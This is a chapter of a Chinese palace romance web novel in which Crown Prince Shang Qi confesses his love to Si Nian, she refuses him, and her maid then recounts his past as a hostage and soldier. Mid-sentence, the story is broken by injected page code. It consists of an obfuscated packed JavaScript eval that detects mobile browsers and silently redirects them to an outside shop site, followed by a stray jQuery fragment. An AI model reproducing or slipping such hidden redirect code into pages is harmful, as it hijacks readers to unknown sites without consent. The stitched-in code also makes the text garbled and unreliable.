商祁坐在床塌旁的木凳上,执起瓶子往她脚上涂抹起来,少女的脚小巧白嫩,握在商祁掌中显得很娇小,他手指上沾上了药油,指尖泛着油光,触到了她脚上的皮肤,揉捏着。
商祁这是第一次这般照顾人,从前的日子大多是他孑然一身,自己照顾自己,他没有给女子涂过药,手法轻柔了些,但却很认真,司念看着他的样子觉得有些好笑,太子殿下照顾人倒是少见,她认真看着商祁,看着看着不由得有些出神。
商祁的眉恰是烟色,瞳色偏深,鼻梁高挺,嘴唇偏薄,墨发被束起,细长的桃花眼微微上挑,是绝美的长相,她甚至觉得他单凭容貌,便可吸引众多女子为之倾倒,这张脸这么惹桃花,偏就生了个冷淡的性子,也不知道有多少人家的姑娘被他拒绝过。
他今日穿了墨蓝色袍衫便服,玄色束腰,只是他腰间仍挂着她绣的香囊,显的有些突兀。
她做的香囊怎么还是这么丑。
跟他的衣服一点都不搭。
她其实不想麻烦商祁的,毕竟涂药这件小事,她自己就能完成,可她就是会忍不住的想要多看他几眼。
可能是因为他好看吧。
她这样告诉自己。
沉默许久司念深呼一口气,柔声道:“殿下,我……有话想对你说。”
“嗯,无妨,你说吧。”商祁继续手上的动作,声音低沉道。
司念皱眉,觉得商祁的态度有些说不出来的怪,但是她并未太多在意,只当是自己的错觉。
她心中有更大的疑虑想要同他问清楚。
以前她并未对他们二人的婚约有过过多的想法,如今张染的出现却是点醒了她,让她不得不对两个人的关系做重新的思考。
他对她的好仿佛已经超过了约定的界限,而这样是不行的,她不想等和离之后和他有所牵扯,他们之间可以是朋友,但不可以是爱人,她曾被父母背叛,心中很难再容下一人,可有可能太子殿下也会有背叛自己的一天,合作这种关系靠不住的。
况且他把和离的期限订到了五年,实在是太长时间了。
她怕五年后再离开他,她会很纠结。
“殿下先前说的约定我会遵循,但是我希望你我之间和离的期限能短一点。”
商祁皱眉,这话放在他的耳朵里,是司念迫不及待想与他断绝关系。
“难道你我成婚就这么让你介怀吗?”商祁唇角绷直,眼中有些破碎的微光。
司念垂眸,她觉得有些事情,还是需要说清楚的好,便道:“约定我会遵守,但是和离后我也会有自己的生活,到时候可以是朋友,殿下虽然是因为约定照顾我,但是足以让我充满感激,这毕竟是我的私事,还请殿下不要干预。”
不得干预?
商祁只觉胸口气血翻腾,一股无名的怒火涌上心头。
他为何不能干预?他这些天对她的情意难道她半分都不知晓?难道就连那个吻她也只当是两个人逢场作戏?
商祁自嘲一笑,这确实有可能,她真是个傻瓜。
原来自己这么多天的付出,都仅仅被她以为是逢场作戏。
他现在有些后悔成婚之日那般对她说的话。
所以从始至终他所做的事在她眼中都无关情爱,他本以为她应该能看出来的。可现在他觉得他可能真的在情事方面他有点榆木脑袋。
于是他站了起来,阖了阖眼,将怒火按下,再睁开眼底是一片清明。
“念念,我并不会与你和离。”
司念蹙眉:“为什么?”
商祁垂眸看着她,走至她面前坐下,认真道。
“我之所以如此照顾你,不是因为你我的约定,而是因为我……喜欢你。”
面前的这张脸如玉如琢,司念的心跳如雷,一时间竟不知该做什么反应。
太子说……他喜欢她?莫不是……在骗她?
“殿下……莫要拿我寻开心!”司念撇开脸,想要推开商祁,却被他伸手揽入怀中。
商祁曾经想过他们会拥抱,但是没想过是他主动强迫的。
司念的头便抵着他宽阔的胸膛,隔着衣物都能感觉到他心脏的跳动,他抱的很紧,似是要把她融入骨血。
这下司念彻底慌了。
她从未想过有朝一日太子商祁会喜欢上她。她没有显赫的家世,何德何能可以让殿下喜欢上她呢?
这些日子她在东宫确实被照顾的很好,对于商祁她是有些喜欢的……她其实不能判断是这种喜欢是出于感动还是其他的什么类似于喜欢小猫小狗那样的喜欢,但能相伴一生的人,哪里有这般随便便决定了。
方才天空光芒万丈,转瞬间便乌云密布,雷声在这时骤然响起,将司念吓得在他怀里抖了抖。
终于她还是鼓起勇气,拒绝道:“可是……我并不喜欢你啊!”
自从被父亲背叛之后,她逐渐发现,她内心便再难容下一人,世间女子大多贪慕权贵,喜欢商祁的人众多,她不敢确定商祁是否真的喜欢她,也不敢相信他的这份喜欢会停留多久。与其让太子殿下和自己在一起之后爱上别人,不如在开始就把爱意的希望浇灭。
于是司念鼓起勇气推开了他。
商祁曾经料想过她会拒绝他,所以并不惊讶。
但当真听到她说他不喜欢他,他还是会觉察到自己的妒意,她不愿和他在一起,难道是因为张染?她果然还是这么在意张染,即便张染在各个方面都不如他,她还是一如既往的喜欢着他。
商祁自嘲一笑,他们是青梅竹马,他怎么能抵得过多年的情谊呢。
哗啦啦,大雨终是跌坠下来,天色微暗,商祁看向窗外,回眸时薄唇紧抿,眼神黯淡。
半晌,商祁感受到怀中的温度渐渐消失了,他一言不发,好看的眸子里满是浓郁的化不开的忧伤。
半晌他才开口,道:“那我们之间两年之后和离的约定还作数,到时候你自己选择去留,我不会拦你。”他并不想轻易放下她,他赌司念心中有他,他现在不怕等,怕的是连进入她心里的机会都没有。
司念眼神沉静,虽然她这么说有些狠心,但是她深知她如果在期期艾艾这样的感情,她会万劫不复,和离这无疑是最好的结局。
“好。”她听见自己这么说。她虽然废物了点,但是她可以用这些时间好好报答商祁对她的恩情。
外边的雨势仿佛比之前更大了些,今日显然回去是不大可能了。
商祁开门,执伞走了出去,只留给司念一个孤寂的背影。
桑落走了进来,看向自家娘娘的脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695316|144410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腕,司念脚腕上被涂了药油,泛出琥珀色的油光,司念没办法下床,只能先躺在这里。
少女贝齿轻咬着软嫩的唇,眼眸氤氲着雾气,显得有些失落。
虽然她拒绝了太子殿下,但是不知道为什么,看到太子殿下落寞的背影,她的心一抽一抽的疼。
桑落看出了司念的失落,开口道:“娘娘,你想不想要了解太子殿下的过去?”
听闻此话,司念曲着双腿,两条胳膊支撑着坐了起来,好奇道:“想知道……唉,你从哪里知道的啊?我怎么都未曾听闻呢?”
桑落坐在床榻旁边道:“娘娘,我不仅问了青莲还问了寒竹,这些事情太子殿下本没有刻意隐瞒,但是娘娘您却从未打听过?”
司念吸了吸鼻子,眼睫低垂,气场失落,原来她想要报恩,却笨到连他的从前都没有了解。
桑落开口道:“陛下在太子殿下十岁时便开始打天下,当时前朝纷乱势力颇多,当时陛下和郑国公出战北方,前朝余孽便将太子殿下为质以威胁陛下,当时他身边只剩下了江家江瑜,连大皇子都被太后转移了。陛下攻打江南,意图放弃他这个质子,是江家拼死守护才换得他九死一生,之后陛下为了弥补亏欠,封了他为太子。”
司念觉得自己是乡野而来,比不得商祁是个天潢贵胄,也比不得他自幼饱读诗书,光彩夺目。却没想到相比皇亲贵胄的商祁,她幼时真的已经算的上是幸福了。商祁在举步维艰性命堪忧的时候,她还满脑子糕点和漂亮衣裙,她稍微对前朝的事有所了解,他便已经能独当一面,承受千般痛苦。
也不知道他小时候是什么样子的,在前朝为质时一定受了不少的苦吧,那估计会很瘦弱,他们会不会不给他饭吃啊?
司念仔细一想,还真有这个可能,那时她家还是普通百姓,稍微有些钱财,家中有田产,不至于吃不上饭。可身为质子,真的会如履薄冰。
外边雨势渐大,仿佛有些什么东西伴随着这场雨破土而出。
司念方才只是觉得自己有些狠心,如今想到这些她现在便是极度后悔和愧疚,她方才那么说,会否太伤人了,司念蹙了蹙眉,捏了捏眉心。
桑落注意到司念的表情,不想她难过,便接着道:“对了,太子殿下十六岁便上了战场,他曾带着三千兵俑对抗敌方一万人,还胜了呢。”
司念从来没有想过这些,她从前只是觉得商祁表面上像个文臣,她习惯看他动作柔和,矜贵自持,甚至待她有些温柔。
商祁虽然看起来一点都不像个膀大腰圆气势汹汹的武将,但其实他上过战场,还奋勇杀敌,是很厉害的人。
那他一定受过伤吧,司念有点想要看看他伤的重不重,刀剑无眼,打伤了一定很疼吧,留疤了一定要好好涂抹,她还有几盒玉颜胶,可以有空给他涂涂。
心中对商祁的固有印象在悄然改变着,她不知道其中有没有夹杂仰慕,她蓦然想起商祁上次只穿了薄衫的样子,胸肌饱满却不显得笨重……
想到她现在想的是什么,她便不可抑制的心跳加快。
她突然发现她好像接受不了张染,可是面对商祁,她是真的难以抗拒。
所以她当时是怎么说出拒绝他的话的?
……
她果然比自己想象中有勇气。